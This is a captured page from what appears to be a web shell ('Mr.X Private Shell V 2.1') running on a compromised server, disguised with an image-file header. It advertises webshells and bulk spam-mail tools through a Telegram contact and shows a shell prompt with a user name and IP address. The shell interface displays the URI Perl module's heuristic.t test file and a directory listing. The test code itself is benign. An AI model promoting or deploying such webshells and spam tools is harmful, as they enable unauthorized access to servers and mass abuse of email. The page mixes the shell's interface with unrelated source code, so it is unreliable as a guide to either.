����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;

BEGIN {
    # mock up a gethostbyname that always works :-)
    *CORE::GLOBAL::gethostbyname = sub {
	my $name = shift;
	#print "# gethostbyname [$name]\n";
	die if wantarray;
	return 1 if $name =~ /^www\.perl\.(com|org|ca|su)\.$/;
	return 1 if $name eq "www.perl.co.uk\.";
	return 0;
    };
}

use Test::More tests => 28;

use URI::Heuristic qw( uf_url uf_urlstr );
if (shift) {
    $URI::Heuristic::DEBUG++;
    open(STDERR, ">&STDOUT");  # redirect STDERR
}

is(uf_urlstr("http://www.sn.no/"), "http://www.sn.no/");

if ($^O eq "MacOS") {
    is(uf_urlstr("etc:passwd"), "file:/etc/passwd");
} else {
    is(uf_urlstr("/etc/passwd"), "file:/etc/passwd");
}

if ($^O eq "MacOS") {
    is(uf_urlstr(":foo.txt"), "file:./foo.txt");
} else {
    is(uf_urlstr("./foo.txt"), "file:./foo.txt");
}

is(uf_urlstr("ftp.aas.no/lwp.tar.gz"), "ftp://ftp.aas.no/lwp.tar.gz");

if($^O eq "MacOS") {
#  its a weird, but valid, MacOS path, so it can't be left alone
    is(uf_urlstr("C:\\CONFIG.SYS"), "file:/C/%5CCONFIG.SYS");
} else {
    is(uf_urlstr("C:\\CONFIG.SYS"), "file:C:\\CONFIG.SYS");
}

{
    local $ENV{LC_ALL} = "";
    local $ENV{LANG} = "";
    local $ENV{HTTP_ACCEPT_LANGUAGE} = "";

    $ENV{LC_ALL} = "en_GB.UTF-8";
    undef $URI::Heuristic::MY_COUNTRY;
    like(uf_urlstr("perl/camel.gif"), qr,^http://www\.perl\.(org|co)\.uk/camel\.gif$,);

    use Net::Domain ();
    $ENV{LC_ALL} = "C";
    { no warnings; *Net::Domain::hostfqdn = sub { return 'vasya.su' } }
    undef $URI::Heuristic::MY_COUNTRY;
    is(uf_urlstr("perl/camel.gif"), "http://www.perl.su/camel.gif");

    $ENV{LC_ALL} = "C";
    { no warnings; *Net::Domain::hostfqdn = sub { return '' } }
    undef $URI::Heuristic::MY_COUNTRY;
    like(uf_urlstr("perl/camel.gif"), qr,^http://www\.perl\.(com|org)/camel\.gif$,);

    $ENV{HTTP_ACCEPT_LANGUAGE} = "en-ca";
    undef $URI::Heuristic::MY_COUNTRY;
    is(uf_urlstr("perl/camel.gif"), "http://www.perl.ca/camel.gif");
}

$URI::Heuristic::MY_COUNTRY = "bv";
like(uf_urlstr("perl/camel.gif"), qr,^http://www\.perl\.(com|org)/camel\.gif$,);

# Backwards compatibility; uk != United Kingdom in ISO 3166
$URI::Heuristic::MY_COUNTRY = "uk";
like(uf_urlstr("perl/camel.gif"), qr,^http://www\.perl\.(org|co)\.uk/camel\.gif$,);

$URI::Heuristic::MY_COUNTRY = "gb";
like(uf_urlstr("perl/camel.gif"), qr,^http://www\.perl\.(org|co)\.uk/camel\.gif$,);

$ENV{URL_GUESS_PATTERN} = "www.ACME.org www.ACME.com";
is(uf_urlstr("perl"), "http://www.perl.org");

{
    local $ENV{URL_GUESS_PATTERN} = "";
    is(uf_urlstr("perl"), "http://perl");

    is(uf_urlstr("http:80"), "http:80");

    is(uf_urlstr("mailto:gisle\@aas.no"), "mailto:gisle\@aas.no");

    is(uf_urlstr("gisle\@aas.no"), "mailto:gisle\@aas.no");

    is(uf_urlstr("Gisle.Aas\@aas.perl.org"), "mailto:Gisle.Aas\@aas.perl.org");

    is(uf_url("gopher.sn.no")->scheme, "gopher");

    is(uf_urlstr("123.3.3.3:8080/foo"), "http://123.3.3.3:8080/foo");

    is(uf_urlstr("123.3.3.3:443/foo"), "https://123.3.3.3:443/foo");

    is(uf_urlstr("123.3.3.3:21/foo"), "ftp://123.3.3.3:21/foo");

    is(uf_urlstr("//server/share/dir"), "smb://server/share/dir");
    
    is(uf_urlstr(qq(\\\\server\\share\\dir)), "smb://server/share/dir");

    is(uf_url("FTP.example.com")->scheme, "ftp");

    is(uf_url("ftp2.example.com")->scheme, "ftp");

    is(uf_url("ftp")->scheme, "ftp");

    is(uf_url("https.example.com")->scheme, "https");
}

Filemanager

Name Type Size Permission Actions
00-report-prereqs.dd File 3.7 KB 0644
00-report-prereqs.t File 5.88 KB 0644
abs.t File 5.44 KB 0644
clone.t File 331 B 0644
cwd.t File 176 B 0644
data.t File 2.28 KB 0644
escape-char.t File 613 B 0644
escape.t File 2.88 KB 0644
file.t File 3.61 KB 0644
ftp.t File 803 B 0644
ftpes.t File 231 B 0644
ftps.t File 230 B 0644
generic.t File 3.71 KB 0644
geo_basic.t File 1.72 KB 0644
geo_construct.t File 2.1 KB 0644
geo_point.t File 429 B 0644
gopher.t File 1020 B 0644
heuristic.t File 3.35 KB 0644
http.t File 1.08 KB 0644
icap.t File 1.08 KB 0644
idna.t File 503 B 0644
ipv6.t File 220 B 0644
irc.t File 890 B 0644
ircs.t File 239 B 0644
iri.t File 2.71 KB 0644
ldap.t File 2.38 KB 0644
mailto.t File 2.34 KB 0644
mix.t File 1.44 KB 0644
mms.t File 555 B 0644
news.t File 1.01 KB 0644
num_eq.t File 389 B 0644
old-absconf.t File 730 B 0644
old-base.t File 34.04 KB 0644
old-file.t File 2.71 KB 0644
old-relbase.t File 748 B 0644
otpauth.t File 8.33 KB 0644
path-segments.t File 1000 B 0644
pop.t File 828 B 0644
punycode.t File 2.22 KB 0644
query-param.t File 1.96 KB 0644
query.t File 3.29 KB 0644
rel.t File 541 B 0644
rfc2732.t File 1.86 KB 0644
roy-test.t File 936 B 0644
roytest1.html File 7.32 KB 0644
roytest2.html File 3.56 KB 0644
roytest3.html File 3.01 KB 0644
roytest4.html File 3.63 KB 0644
roytest5.html File 3.28 KB 0644
rsync.t File 263 B 0644
rtsp.t File 651 B 0644
scheme-exceptions.t File 480 B 0644
scp.t File 283 B 0644
sftp.t File 285 B 0644
sip.t File 2.23 KB 0644
smb.t File 838 B 0644
smtp.t File 954 B 0644
sort-hash-query-form.t File 354 B 0644
split.t File 994 B 0644
sq-brackets-legacy.t File 1.08 KB 0644
sq-brackets.t File 8.01 KB 0644
ssh.t File 283 B 0644
storable-test.pl File 577 B 0644
storable.t File 234 B 0644
urn-isbn.t File 746 B 0644
urn-oid.t File 278 B 0644
urn-scheme-exceptions.t File 525 B 0644
userpass.t File 429 B 0644
utf8.t File 543 B 0644
ws.t File 1.06 KB 0644